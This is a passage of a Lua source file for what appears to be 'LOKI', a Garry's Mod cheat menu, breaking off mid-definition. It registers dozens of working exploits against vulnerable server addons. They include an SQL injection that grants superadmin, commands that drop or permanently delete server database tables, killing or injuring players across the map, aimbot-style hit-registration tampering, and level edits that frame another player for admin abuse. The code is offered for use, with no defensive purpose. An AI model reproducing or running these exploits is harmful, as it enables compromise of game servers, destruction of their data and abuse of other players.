7051 hooks = {
7052 Think = function(tbl, sploit)
7053 local v = LOKI.GetLP():GetEyeTrace().Entity
7054 LOKI.NetStart(sploit, "OpenGates")
7055 net.WriteEntity(v)
7056 net.SendToServer()
7057 end,
7058 },
7059 functions = {
7060 { typ = "func", Name = "Open" },
7061 },
7062 } )
7063 LOKI.AddExploit( "Door Exploit", {
7064 desc = "Unlock the door you're looking at",
7065 severity = 1,
7066 bools = {enabled = false},
7067 status = -1,
7068 times_per_tick = 1,
7069 scan = function() return LOKI.ValidNetString( "Kun_FinishLockpicking" ) end,
7070 hooks = {
7071 Think = function(tbl, sploit)
7072 local v = LOKI.GetLP():GetEyeTrace().Entity
7073 LOKI.NetStart(sploit, "Kun_FinishLockpicking")
7074 net.SendToServer()
7075 end,
7076 },
7077 functions = {
7078 { typ = "func", Name = "Open" },
7079 },
7080 } )
7081 LOKI.AddExploit( "Door Exploit", {
7082 desc = "Unlock the door you're looking at",
7083 severity = 1,
7084 bools = {enabled = false},
7085 status = 1,
7086 times_per_tick = 1,
7087 scan = function() return LOKI.ValidNetString( "ReturnFrom_Succes" ) end,
7088 hooks = {
7089 Think = function(tbl, sploit)
7090 local v = LOKI.GetLP():GetEyeTrace().Entity
7091 LOKI.NetStart(sploit, "ReturnFrom_Succes")
7092 net.WriteEntity(v)
7093 net.SendToServer()
7094 end,
7095 },
7096 functions = {
7097 { typ = "func", Name = "Open" },
7098 },
7099 } )
7100 LOKI.AddExploit( "Unbox Exploit", {
7101 desc = "Choose what you get from an unbox",
7102 severity = 1,
7103 bools = {enabled = false},
7104 status = 1,
7105 times_per_tick = 1,
7106 scan = function() return LOKI.ValidNetString( "InitSpin" ) end,
7107 hooks = {
7108 net = {
7109 Receive = function(sploit, strName)
7110 if(strName == "InitSpin" && sploit.bools.enabled) then
7111 local data = net.ReadTable()
7112 local added = {}
7113 local m = DermaMenu()
7114 for k, v in ipairs(data) do
7115 local CRC = util.CRC(table.ToString(v))
7116 if(v.itemName && !added[CRC]) then
7117 added[CRC] = CRC
7118 m:AddOption( v.itemName .. (v.itemClassName != nil && " (" .. v.itemClassName .. ")" || ""), function()
7119 LOKI.NetStart(sploit, "FinishedUnbox")
7120 net.WriteInt(k, 16)
7121 net.SendToServer()
7122 end )
7123 end
7124 end
7125 m:Open()
7126 return false
7127 end
7128 end,
7129 },
7130 },
7131 functions = {
7132 { typ = "bool", Name = "Open" },
7133 },
7134 } )
7135 LOKI.AddExploit( "Noise Exploit", {
7136 desc = "Causes players to leak petrol from their eyes",
7137 severity = 1,
7138 bools = {enabled = false},
7139 status = 1,
7140 msgs_per_tick = function() return #LOKI.GetStored( "gas_plyz", {} ) end,
7141 times_per_tick = math.huge,
7142 scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
7143 hooks = {
7144 Think = function(tbl, sploit)
7145 for k, v in ipairs(LOKI.GetStored( "gas_plyz", {} )) do
7146 if IsValid(v) then
7147 LOKI.NetStart( sploit, "simfphys_gasspill" )
7148 net.WriteVector( v:GetEyeTrace().HitPos )
7149 net.WriteVector( v:GetEyeTrace().HitNormal )
7150 net.SendToServer()
7151 end
7152 end
7153 end,
7154 },
7155 functions = {
7156 { typ = "players", addr = "gas_plyz" },
7157 { typ = "bool", },
7158 },
7159 } )
7160 LOKI.AddExploit( "Level Exploit", {
7161 desc = "Set players level to anything (and blame someone else for admin abuse)",
7162 severity = 1,
7163 bools = {enabled = false},
7164 status = 1,
7165 times_per_tick = 1,
7166 scan = function() return LOKI.ValidNetString( "EL_editUser" ) end,
7167 hooks = {
7168 Think = function(tbl, sploit)
7169 for k, v in ipairs(LOKI.GetStored( "level1_targets", {LOKI.GetLP()} )) do
7170 if(IsValid(v)) then
7171 LOKI.NetStart( sploit, "EL_editUser")
7172 DATA = {
7173 Target = v,
7174 Value = LOKI.GetStored("level1_level", 100),
7175 Value2 = LOKI.GetStored("level1_xp", 100),
7176 Value3 = LOKI.GetStored("level1_sp", 100),
7177 Value4 = LOKI.GetStored("level1_rank", 1)[2],
7178 Executer = LOKI.GetStored("level1_victim", {})[1],
7179 }
7180 net.WriteTable(DATA)
7181 net.SendToServer()
7182 end
7183 end
7184 end,
7185 },
7186 functions = {
7187 { typ = "players", addr = "level1_targets", Name = "Target" },
7188 { typ = "float", addr = "level1_level", Name = "Level", min = 0, max = math.huge, default = 100 },
7189 { typ = "float", addr = "level1_xp", Name = "Exp", min = 0, max = math.huge, default = 100 },
7190 { typ = "float", addr = "level1_sp", Name = "Skill Points", min = 0, max = math.huge, default = 1200 },
7191 { typ = (EL_Ranks && "combo" || "float"), tbl = EL_Ranks || {}, Name = "Rank", default = {"", 1}, addr = "level1_rank", min = 0, max = math.huge, default = 1, var = "name", sort = "rank", find = "rank" },
7192 { typ = "player", addr = "level1_victim", Name = "Victim" },
7193 { typ = "func", Name = "Do it"},
7194 },
7195 } )
7196 LOKI.AddExploit( "Level Exploit", {
7197 desc = "Manipulate any players level and inventory",
7198 severity = 1,
7199 bools = {enabled = false},
7200 status = 1,
7201 times_per_tick = 1,
7202 scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false end,
7203 count = {
7204 ["Active"] = 0,
7205 ["Total"] = 2,
7206 },
7207 initial = function(sploit)
7208 if(isfunction(LOKI.RecursiveGetVar(CRAFTINGMOD, {"Util", "CheckAdmin"}, "function"))) then
7209 function CRAFTINGMOD.Util:CheckAdmin() return true end
7210 end
7211 local meta = debug.getregistry().Player
7212 if(isfunction(meta.IsAdmin)) then
7213 function meta:IsAdmin() return true end
7214 end
7215 if(sploit.count.Active == 0) then
7216 if(LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false) then
7217 sploit.count.Active = sploit.count.Active + 1
7218 end
7219 if(LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false) then
7220 sploit.count.Active = sploit.count.Active + 1
7221 end
7222 end
7223 end,
7224 hooks = {
7225 Think = function(tbl, sploit)
7226 if(tbl[1] == 1) then
7227 local menu = LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "AdminMenu"}, "function")
7228 if(isfunction(menu)) then
7229 menu(CRAFTINGMOD.PANELS)
7230 LOKI.Menu:SetVisible(false)
7231 end
7232 elseif(tbl[1] == 2) then
7233 local menu = LOKI.RecursiveGetVar(FARMINGMOD, {"AdminMenu"}, "function")
7234 if(isfunction(menu)) then
7235 menu(FARMINGMOD)
7236 LOKI.Menu:SetVisible(false)
7237 end
7238 end
7239 end,
7240 },
7241 functions = {
7242 { typ = "func", Name = "Admin Menu (Mining)", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
7243 { typ = "func", Name = "Admin Menu (Farming)", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
7244 },
7245 } )
7246 LOKI.AddExploit( "Level Exploit", {
7247 desc = "Wield the Infinity Gauntlet",
7248 severity = 100,
7249 bools = {enabled = false},
7250 status = 1,
7251 times_per_tick = math.huge,
7252 scan = function() return istable(DarkRPG) end,
7253 count = {
7254 ["Active"] = 22,
7255 ["Total"] = 22,
7256 },
7257 hooks = {
7258 Think = function(tbl, sploit)
7259 LOKI.OpenTableEditor(LOKI.Menu, DarkRPG.Player, "Player Stat Multipliers", function(tbl)
7260 DarkRPG.sendPlayerTotalsToServer()
7261 end)
7262 end,
7263 },
7264 functions = {
7265 { typ = "func", Name = "Close Fist", },
7266 },
7267 } )
7268 LOKI.AddExploit( "Database Exploit", {
7269 desc = "Give people superadmin (rejoin for it to take effect)",
7270 severity = 100,
7271 bools = {enabled = false},
7272 status = 1,
7273 times_per_tick = 1,
7274 vars = {},
7275 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
7276 hooks = {
7277 Think = function(tbl, sploit)
7278 for k, v in ipairs( LOKI.GetStored( "l_superadmins", {} ) ) do
7279 if !IsValid(v) then continue end
7280 local ass = {}
7281 ass.tblname = "FAdmin_PlayerGroup; UPDATE FAdmin_PlayerGroup SET groupname = 'superadmin' WHERE steamid = " .. sql.SQLStr(v:SteamID())
7282 ass.ply = v
7283
7284 LOKI.NetStart(sploit, "pplay_sendtable")
7285 net.WriteTable(ass)
7286 net.SendToServer()
7287 end
7288 end,
7289 },
7290 functions = {
7291 { typ = "players", addr = "l_superadmins" },
7292 { typ = "func", Name = "Gibsmedat", },
7293 },
7294 } )
7295 LOKI.AddExploit( "Database Exploit", {
7296 desc = "Clumsy transport men always dropping the tables",
7297 severity = 100,
7298 bools = {enabled = false},
7299 status = 1,
7300 times_per_tick = 1,
7301 scan = function() return LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") || LOKI.ValidNetString("FISHINGMOD_ADMIN") end,
7302 hooks = {
7303 Think = function(tbl, sploit)
7304 LOKI.NetStart(sploit, (LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") && "CRAFTINGMOD_COMMANDS") || (LOKI.ValidNetString("FISHINGMOD_ADMIN") && "FISHINGMOD_ADMIN"))
7305 net.WriteInt(3, 16)
7306 net.SendToServer()
7307 end,
7308 },
7309 functions = {
7310 { typ = "func", Name = "Do it"},
7311 },
7312 } )
7313 LOKI.AddExploit( "Database Exploit", {
7314 desc = "Permanently delete all money printers from the server database",
7315 severity = 100,
7316 bools = {enabled = false},
7317 status = 1,
7318 times_per_tick = 1,
7319 scan = function() return istable(gPrinters) && LOKI.ValidNetString("gPrinters.removePrinter") end,
7320 hooks = {
7321 Think = function(tbl, sploit)
7322 for _, printer in pairs( gPrinters.printers or {} ) do
7323 for k, v in pairs( gPrinters.printers[ "Printers" ][ printer ] or printer ) do
7324 LOKI.NetStart(sploit, "gPrinters.removePrinter" )
7325 net.WriteString( v.uid )
7326 net.SendToServer()
7327 end
7328 end
7329 end,
7330 },
7331 functions = {
7332 { typ = "func", Name = "Do it"},
7333 },
7334 } )
7335 LOKI.AddExploit( "Damage Exploit", {
7336 desc = "Makes your bullets more accurate and more lethal",
7337 severity = 1,
7338 bools = {enabled = true},
7339 status = 1,
7340 times_per_tick = 1,
7341 scan = function(sploit) if(istable(LeyHitreg)) then sploit.channel = LOKI.GetUpValues(LeyHitreg.EntityFireBullets)["option_customnetmsg"] return true end end,
7342 count = {
7343 ["Active"] = 5,
7344 ["Total"] = 5,
7345 },
7346 channel = "nocheatinghere",
7347 hooks = {
7348 net = {
7349 SendToServer = function(sploit, varargs)
7350 sploit.BulletData = nil
7351 end,
7352 },
7353 util = {
7354 TraceLine = function(sploit, varargs)
7355 if(LOKI.NetOutgoingMsg == sploit.channel) then
7356 local trace = LOKI.GetDetour("util.TraceLine", util.TraceLine)(unpack(varargs))
7357 if(sploit.bools.bighead) then
7358 trace.HitGroup = HITGROUP_HEAD
7359 end
7360 if(sploit.bools.magicbullet && (!trace.Entity || !IsValid(trace.Entity) || !trace.Entity:IsPlayer())) then
7361 local ply = LOKI.GetLP()
7362 for k, ent in ipairs(player.GetAll()) do
7363 if(ent == ply || ent:Health() <= 0) then continue end
7364 local mins, maxs = (ent:OBBMins()*LOKI.GetStored("dmg1_hbox", 2)), (ent:OBBMaxs()*LOKI.GetStored("dmg1_hbox", 2))
7365 mins = mins - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
7366 maxs = maxs - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
7367 local hitpos, normal, fraction = util.IntersectRayWithOBB(LOKI.Freecam.EyePos(), ply:GetAimVector() * 16384, ent:GetPos(), Angle(0,0,0), mins, maxs, 2)
7368 if (hitpos) then
7369 trace.Entity = ent
7370 trace.HitPos = hitpos
7371
7372 debugoverlay.Line(trace.StartPos, trace.HitPos, 5, color_white, true)
7373 debugoverlay.BoxAngles(ent:GetPos(), mins, maxs, ent:GetAngles(), 5, color_white)
7374 break
7375 end
7376 end
7377 end
7378 if(sploit.BulletData && varargs[1].start == sploit.BulletData.Src && sploit.bools.desync) then
7379 local pos = Vector(0,0,0)
7380 if(LOKI.Freecam.Enabled) then
7381 pos = LOKI.Freecam.EyePos()
7382 elseif(IsValid(trace.Entity)) then
7383 local dist = math.Round(trace.HitPos:DistToSqr(LOKI.GetLP():GetShootPos()))
7384 if(math.abs(dist) < (600*600)) then
7385 pos = trace.Entity:GetPos() + trace.Entity:OBBCenter()
7386 else
7387 for k, v in ipairs(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 600)) do
7388 if(v == LOKI.GetLP()) then continue end
7389 if(IsValid(v:GetPhysicsObject()) && math.abs(math.Round((v:GetPos() + v:OBBCenter()):DistToSqr(LOKI.GetLP():GetShootPos()))) < (600*600)) then
7390 pos = v:GetPos() + v:OBBCenter()
7391 break
7392 end
7393 end
7394 end
7395 end
7396 varargs[1].endpos = varargs[1].endpos - varargs[1].start
7397 varargs[1].start.x = pos.x
7398 varargs[1].start.y = pos.y
7399 varargs[1].start.z = pos.z
7400 varargs[1].endpos = varargs[1].endpos + varargs[1].start
7401 end
7402 return trace
7403 end
7404 end,
7405 },
7406 math = {
7407 random = function(sploit, varargs)
7408 if(sploit.bools.nospread && LOKI.NetOutgoingMsg == sploit.channel) then
7409 return 0.5
7410 end
7411 end,
7412 },
7413 table = {
7414 Copy = function(sploit, varargs)
7415 local function func(index)
7416 local dbginfo = debug.getinfo(index)
7417 if(istable(dbginfo) && dbginfo.func == LeyHitreg.EntityFireBullets) then
7418 LOKI.NetOutgoingMsg = sploit.channel
7419 sploit.BulletData = varargs[1]
7420 return true
7421 end
7422 end
7423 if(!func(3)) then func(4) end
7424 end,
7425 },
7426 PostRender = function(tbl, sploit)
7427 if(LOKI.Freecam.Enabled == true && sploit.bools.desync) then
7428 local dist = math.Round(EyePos():DistToSqr(LOKI.GetLP():GetShootPos()))
7429 local color = Color(255,255,255)
7430 if(math.abs(dist) > (600*600)) then
7431 color = Color(255, 0, 0)
7432 else
7433 color = Color(102, 255, 102)
7434 end
7435 LOKI.DrawText( dist, "TargetID", 0, 20, color )
7436 end
7437 end,
7438 },
7439 functions = {
7440 { typ = "bool", ToggleText = {"Damage"}, border = true, bool = "bighead" },
7441 { typ = "bool", ToggleText = {"NoSpread"}, border = true, bool = "nospread" },
7442 { typ = "bool", ToggleText = {"Desync"}, border = true, bool = "desync" },
7443 { typ = "bool", ToggleText = {"Assist"}, border = true, bool = "magicbullet" },
7444 { typ = "float", Name = "Hitbox Scale", min = 1, max = math.huge, default = 1.5, addr = "dmg1_hbox" },
7445 //{ typ = "bool" },
7446 },
7447 } )
7448 LOKI.AddExploit( "Damage Exploit", {
7449 desc = "Be a silent assassin by injuring people across the map",
7450 severity = 1,
7451 bools = {enabled = false},
7452 status = 1,
7453 times_per_tick = 1,
7454 scan = function() return LOKI.ValidNetString("Taucannonfire") end,
7455 hooks = {
7456 Think = function(tbl, sploit)
7457 for i = 0, LOKI.GetStored("dmg1_mult", 1) do
7458 for k, v in ipairs( LOKI.GetStored( "dmg1_plyz", {} ) ) do
7459 if IsValid(v) then
7460 if(v:IsPlayer()) then
7461 LOKI.NetStart(sploit, "Taucannonfire")
7462 net.WriteEntity(v)
7463 net.WriteBit(1)
7464 net.SendToServer()
7465 end
7466 end
7467 end
7468 end
7469 end,
7470 },
7471 functions = {
7472 { typ = "players", addr = "dmg1_plyz", Name = "Victims" },
7473 { typ = "float", Name = "Multiplier", min = 1, max = math.huge, default = 1, addr = "dmg1_mult" },
7474 { typ = "func", Name = "Do it"},
7475 },
7476 } )
7477 LOKI.AddExploit( "Damage Exploit", {
7478 desc = "Be a silent assassin by killing people across the map",
7479 severity = 1,
7480 bools = {enabled = false},
7481 status = 1,
7482 times_per_tick = 1,
7483 scan = function() return LOKI.ValidNetString("mat_zset") end,
7484 hooks = {
7485 Think = function(tbl, sploit)
7486 for k, v in ipairs( LOKI.GetStored( "dmg2_plyz", {} ) ) do
7487 if IsValid(v) then
7488 LOKI.NetStart(sploit, "mat_zset")
7489 net.WriteString(v:Nick())
7490 net.SendToServer()
7491 end
7492 end
7493 end,
7494 },
7495 functions = {
7496 { typ = "players", addr = "dmg2_plyz", Name = "Victims" },
7497 { typ = "func", Name = "Do it"},
7498 },
7499 } )
7500 LOKI.AddExploit( "Damage Exploit", {
7501 desc = "Become a god among men",
7502 severity = 1,
7503 bools = {enabled = false},
7504 status = 1,
7505 times_per_tick = 1,
7506 scan = function() return LOKI.ValidNetString("dialogClose", "f4menufreeze") end,
7507 OnDisable = function(var, sploit)
7508 LOKI.NetStart( sploit, "dialogClose")
7509 net.SendToServer()
7510 end,
7511 hooks = {
7512 net = {
7513 Start = function(sploit, varargs)
7514 if(varargs[1] == "dialogClose" && sploit.bools.enabled) then
7515 LOKI.NetStart(sploit, "f4menufreeze")
7516 net.WriteBool(false)
7517 net.SendToServer()
7518 LOKI.GetLP().dialogActive = false
7519 return false
7520 end
7521 end,
7522 },
7523 },
7524 functions = {
7525 { typ = "bool" },
7526 },
7527 } )
7528 LOKI.AddExploit( "Damage Exploit", {
7529 desc = "Become the human torch",
7530 severity = 1,
7531 bools = {enabled = false},
7532 status = 1,
7533 times_per_tick = 1,
7534 scan = function() return LOKI.ValidNetString("DragonVapeIgnite") && LOKI.GetLP():HasWeapon("weapon_vape_dragon") end,
7535 scan_always = true,
7536 hooks = {
7537 Tick = function(tbl, sploit)
7538 for k, v in ipairs(ents.GetAll()) do
7539 if(!IsValid(v) || !v:IsSolid() || v:GetPos():Distance(LOKI.GetLP():GetPos()) > 500) then continue end
7540 LOKI.NetStart(sploit, "DragonVapeIgnite")
7541 net.WriteEntity(v)
7542 net.SendToServer()
7543 end
7544 end,
7545 },
7546 functions = {
7547 { typ = "bool" },
7548 },
7549 } )
7550 LOKI.AddExploit( "Damage Exploit", {
7551 desc = "Evolve into a human with gills",
7552 severity = 1,
7553 bools = {enabled = false},
7554 status = 1,
7555 times_per_tick = 1,
7556 scan = function() return LOKI.ValidNetString("StaminaDrowning") end,
7557 hooks = {
7558 net = {
7559 Start = function(sploit, varargs)
7560 if(varargs[1] == "StaminaDrowning" && sploit.bools.enabled) then
7561 return false
7562 end
7563 end,
7564 },
7565 },
7566 functions = {
7567 { typ = "bool" },
7568 },
7569 } )
7570 LOKI.AddExploit( "Damage Exploit", {
7571 desc = "Makes your bullets more lethal",
7572 severity = 1,
7573 bools = {enabled = false},
7574 status = 1,
7575 times_per_tick = 1,
7576 scan = function(sploit) return LOKI.ValidNetString("shr") end,
7577 hooks = {
7578 net = {
7579 WriteUInt = function(sploit, varargs)
7580 if(LOKI.NetOutgoingMsg == "shr" && istable(LOKI.NetOutgoingData[6]) && LOKI.NetOutgoingData[6].Type == "Vector" && sploit.bools.enabled) then
7581 varargs[1] = HITGROUP_HEAD
7582 end
7583 end,
7584 },
7585 },
7586 functions = {
7587 { typ = "bool" },
7588 },
7589 } ) -- not done and not worth working on since it only exists on ~5 servers total
7590 LOKI.AddExploit( "Teleport Exploit", {
7591 desc = "Call a taxi",
7592 severity = 1,
7593 bools = {enabled = false},
7594 status = 1,
7595 times_per_tick = 1,
7596 scan = function() return isfunction(net.Receivers["taxi_menu"]) end,
7597 hooks = {
7598 Think = function(tbl, sploit)
7599 LOKI.Menu:SetVisible(false)
7600 net.Receivers["taxi_menu"]()
7601 end,
7602 },
7603 functions = {
7604 { typ = "func", Name = "Open", args = {1}},
7605 },
7606 } )
7607 LOKI.AddExploit( "Instant Dumpster Diving", {
7608 desc = "Loot dumpsters whilst smoking crack",
7609 severity = 1,
7610 bools = {enabled = false},
7611 status = 1,
7612 times_per_tick = 1,
7613 vars = {},
7614 scan = function() return LOKI.ValidNetString( "dumpster_beginsearch" ) end,
7615 hooks = {
7616 net = {
7617 Receive = function(sploit, strName)
7618 if(strName == "dumpster_beginsearch") then
7619 net.Receivers["dumpster_beginsearch"]()
7620 if(sploit.bools.enabled) then
7621 LOKI.GetLP().DumpsterTime = 0
7622 LOKI.GetLP().DumpsterDiving = false
7623 net.Start("dumpster_search_complete")
7624 net.WriteInt(LOKI.GetLP().ActiveDumpster, 32)
7625 net.SendToServer()
7626 end
7627 return false
7628 end
7629 end,
7630 },
7631 },
7632 functions = {
7633 { typ = "bool", },
7634 },
7635 } )
7636 LOKI.AddExploit( "Disguise Exploit", {
7637 desc = "Disguise as any job",
7638 severity = 1,
7639 bools = {enabled = false},
7640 status = 1,
7641 times_per_tick = math.huge,
7642 scan = function() return LOKI.ValidNetString( "disguise" ) end,
7643 hooks = {
7644 Think = function(tbl, sploit)
7645 LOKI.NetStart( sploit, "disguise" )
7646 net.WriteInt(LOKI.SafeToNumber(LOKI.GetStored("disguise1", {1, 1})[2]), 32)
7647 net.SendToServer()
7648 end,
7649 },
7650 functions = {
7651 { typ = "combo", Name = "Job", tbl = team.GetAllTeams(), restriction = "Joinable", var = "Name", sort = "Name", default = 1, addr = "disguise1" },
7652 { typ = "func", Name = "Disguise", },
7653 },
7654 } )
7655 LOKI.AddExploit( "Name Changer", {
7656 desc = "Allows you to change your name to anything",
7657 severity = 1,
7658 bools = {enabled = false},
7659 status = 1,
7660 times_per_tick = 1,
7661 vars = {},
7662 scan = function() return (LOKI.ValidNetString( "gportal_rpname_change" ) && "gportal_rpname_change") || (LOKI.ValidNetString( "gp_rpname_change" ) && "gp_rpname_change") end,
7663 hooks = {
7664 Think = function(tbl, sploit)
7665 LOKI.NetStart( sploit, sploit.channel)
7666 net.WriteString(tostring(LOKI.GetStored( "nc1" )))
7667 net.WriteString(tostring(LOKI.GetStored( "nc2" )))
7668 net.SendToServer()
7669 end,
7670 },
7671 functions = {
7672 { typ = "string", Name = "First Name:", default = "GET", addr = "nc1" },
7673 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc2" },
7674 { typ = "func", Name = "Change Name", }
7675 },
7676 } )
7677 LOKI.AddExploit( "Name Changer", {
7678 desc = "Allows you to change your name to anything",
7679 severity = 1,
7680 bools = {enabled = false},
7681 status = 1,
7682 times_per_tick = 1,
7683 vars = {},
7684 scan = function() return LOKI.ValidNetString( "WS:NPC:Name:NewName" ) end,
7685 hooks = {
7686 Think = function(tbl, sploit)
7687 LOKI.NetStart( sploit, "WS:NPC:Name:NewName")
7688 net.WriteString(tostring(LOKI.GetStored( "nc2" )))
7689 net.SendToServer()
7690 end,
7691 },
7692 functions = {
7693 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc2" },
7694 { typ = "func", Name = "Change Name", }
7695 },
7696 } )
7697 LOKI.AddExploit( "Name Changer", {
7698 desc = "Allows you to change your name to anything",
7699 severity = 1,
7700 bools = {enabled = false},
7701 status = 1,
7702 times_per_tick = 1,
7703 vars = {},
7704 scan = function() return LOKI.ValidNetString( "NewRPNameSQL" ) end,
7705 hooks = {
7706 Think = function(tbl, sploit)
7707 LOKI.NetStart( sploit, "NewRPNameSQL")
7708 net.WriteString(tostring(LOKI.GetStored( "nc3" )))
7709 net.SendToServer()
7710 end,
7711 },
7712 functions = {
7713 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc3" },
7714 { typ = "func", Name = "Change Name", }
7715 },
7716 } )
7717 LOKI.AddExploit( "Name Changer", {
7718 desc = "Allows you to change your steam name to anything. (32 char limit)",
7719 severity = 1,
7720 bools = {enabled = false},
7721 status = 1,
7722 times_per_tick = 1,
7723 vars = {},
7724 scan = function() return isfunction(CNetChan) && CNetChan() && CNetChan():GetReliableBuffer() end,
7725 hooks = {
7726 Think = function(tbl, sploit)
7727 local buffer = CNetChan():GetReliableBuffer()
7728 buffer:WriteUInt(net_SetConVar, NET_MESSAGE_BITS)
7729 buffer:WriteByte(1)
7730 buffer:WriteString("name")
7731 buffer:WriteString(tostring(LOKI.GetStored( "nc4" )))
7732 end,
7733 },
7734 functions = {
7735 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc4" },
7736 { typ = "func", Name = "Change Name", }
7737 },
7738 } )
7739 LOKI.AddExploit( "Name Changer", {
7740 desc = "Allows you to change your name to anything",
7741 severity = 1,
7742 bools = {enabled = false},
7743 status = 1,
7744 times_per_tick = 1,
7745 vars = {},
7746 scan = function() return LOKI.ValidNetString( "rpname_change" ) end,
7747 hooks = {
7748 Think = function(tbl, sploit)
7749 LOKI.NetStart( sploit, "rpname_change")
7750 net.WriteString(tostring(LOKI.GetStored( "nc5" )))
7751 net.WriteString(tostring(LOKI.GetStored( "nc51" )))
7752 net.SendToServer()
7753 end,
7754 },
7755 functions = {
7756 { typ = "string", Name = "First Name:", default = "GET", addr = "nc5" },
7757 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc51" },
7758 { typ = "func", Name = "Change Name", }
7759 },
7760 } )
7761 LOKI.AddExploit( "Name Changer", {
7762 desc = "Allows you to change your name to anything",
7763 severity = 1,
7764 bools = {enabled = false},
7765 status = 1,
7766 times_per_tick = 1,
7767 vars = {},
7768 scan = function() return LOKI.ValidNetString( "popupinfo" ) end,
7769 hooks = {
7770 Think = function(tbl, sploit)
7771 LOKI.NetStart( sploit, "popupinfo")
7772 net.WriteString(tostring(LOKI.GetStored( "nc6" )))
7773 net.SendToServer()
7774 end,
7775 },
7776 functions = {
7777 { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc6" },
7778 { typ = "func", Name = "Change Name", }
7779 },
7780 } )
7781 LOKI.AddExploit( "Name Changer", {
7782 desc = "Allows you to change your name to anything",
7783 severity = 1,
7784 bools = {enabled = false},
7785 status = 1,
7786 times_per_tick = 1,
7787 vars = {},
7788 scan = function() return LOKI.ValidNetString( "scoreboardadmin" ) end,
7789 hooks = {
7790 Think = function(tbl, sploit)
7791 LOKI.NetStart( sploit, "scoreboardadmin")
7792 net.WriteEntity( LOKI.GetLP() )
7793 net.WriteString( "rpname" )
7794 net.WriteString( "user" )
7795 net.WriteString(tostring(LOKI.GetStored( "nc7" )))
7796 net.SendToServer()
7797 end,
7798 },
7799 functions = {
7800 { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc7" },
7801 { typ = "func", Name = "Change Name", }
7802 },
7803 } )
7804 LOKI.AddExploit( "Name Changer", {
7805 desc = "Allows you to change your name and playermodel to anything",
7806 severity = 1,
7807 bools = {enabled = false},
7808 status = 1,
7809 times_per_tick = 1,
7810 vars = {},
7811 scan = function() return LOKI.ValidNetString( "UpdateCharSF", "take_my_cash" ) end,
7812 hooks = {
7813 Think = function(tbl, sploit)
7814 LOKI.NetStart( sploit, "take_my_cash" )
7815 net.WriteString(-10000)
7816 net.SendToServer()
7817 LOKI.NetStart( sploit, "UpdateCharSF")
7818 net.WriteString(tostring(LOKI.GetStored( "nc8" )))
7819 net.WriteString(tostring(LOKI.GetStored( "nc8a" )))
7820 net.WriteString(tostring(LOKI.GetStored( "nc8b" )))
7821 net.SendToServer()
7822 end,
7823 },
7824 functions = {
7825 { typ = "string", Name = "First Name:", default = "GET", addr = "nc8" },
7826 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc8a" },
7827 { typ = "string", Name = "Player Model:", default = "models/error.mdl", addr = "nc8b" },
7828 { typ = "func", Name = "Change Name", }
7829 },
7830 } )
7831 LOKI.AddExploit( "Speed Hack", {
7832 desc = "Allows you to move at warp speed",
7833 severity = 1,
7834 bools = {enabled = false},
7835 status = 1,
7836 times_per_tick = 1,
7837 vars = {},
7838 scan = function() return LOKI.ValidNetString( "SprintSpeedset" ) end,
7839 hooks = {
7840 Think = function(tbl, sploit)
7841 LOKI.NetStart( sploit, "SprintSpeedset")
7842 net.WriteFloat(LOKI.SafeToNumber(LOKI.GetStored( "sh1" )))
7843 net.SendToServer()
7844 end,
7845 },
7846 functions = {
7847 { typ = "float", Name = "Speed: ", min = 0, max = math.huge, default = 1000, addr = "sh1" },
7848 { typ = "func", Name = "Go", }
7849 },
7850 } )
7851 LOKI.AddExploit( "Bonus Exploit", {
7852 desc = "Free Shit",
7853 severity = 1,
7854 bools = {enabled = false},
7855 status = 1,
7856 times_per_tick = 1,
7857 vars = {},
7858 scan = function() return LOKI.ValidNetString( "AbilityUse" ) end,
7859 hooks = {
7860 Think = function(tbl, sploit)
7861 LOKI.NetStart( sploit, "AbilityUse")
7862 net.WriteInt(tbl[1], 32)
7863 net.SendToServer()
7864 end,
7865 },
7866 functions = {
7867 { typ = "func", Name = "Money", args = {1}, },
7868 { typ = "func", Name = "Time Bonus", args = {2}, },
7869 { typ = "func", Name = "HP", args = {3}, },
7870 { typ = "func", Name = "Armor", args = {4}, },
7871 { typ = "func", Name = "Salary Bonus", args = {5}, },
7872 { typ = "func", Name = "Random Weapon", args = {6}, },
7873 { typ = "func", Name = "Jailbreak", args = {7}, },
7874 },
7875 } )
7876 LOKI.AddExploit( "Zombie Mode", {
7877 desc = "Raise an army of unkillable zombies",
7878 severity = 1,
7879 bools = {enabled = false},
7880 status = 1,
7881 times_per_tick = 1,
7882 vars = {},
7883 scan = function() return LOKI.ValidNetString( "RevivePlayer" ) end,
7884 OnEnable = function(var, sploit)
7885 for k, v in ipairs(LOKI.GetStored( "immortal_plyz", {} )) do
7886 if IsValid(v) then
7887 if(v:IsPlayer()) then
7888 LOKI.NetStart( sploit, "RevivePlayer")
7889 net.WriteEntity(v)
7890 net.SendToServer()
7891 end
7892 end
7893 end
7894 end,
7895 hooks = {
7896 CreateMove = function(tbl, sploit, varargs)
7897 local cmd = varargs[1]
7898 if(cmd:GetMouseX() == 0 && cmd:GetMouseY() == 0 && LOKI.LastAngles) then
7899 cmd:SetViewAngles(LOKI.LastAngles)
7900 else
7901 LOKI.LastAngles = cmd:GetViewAngles()
7902 end
7903 end,
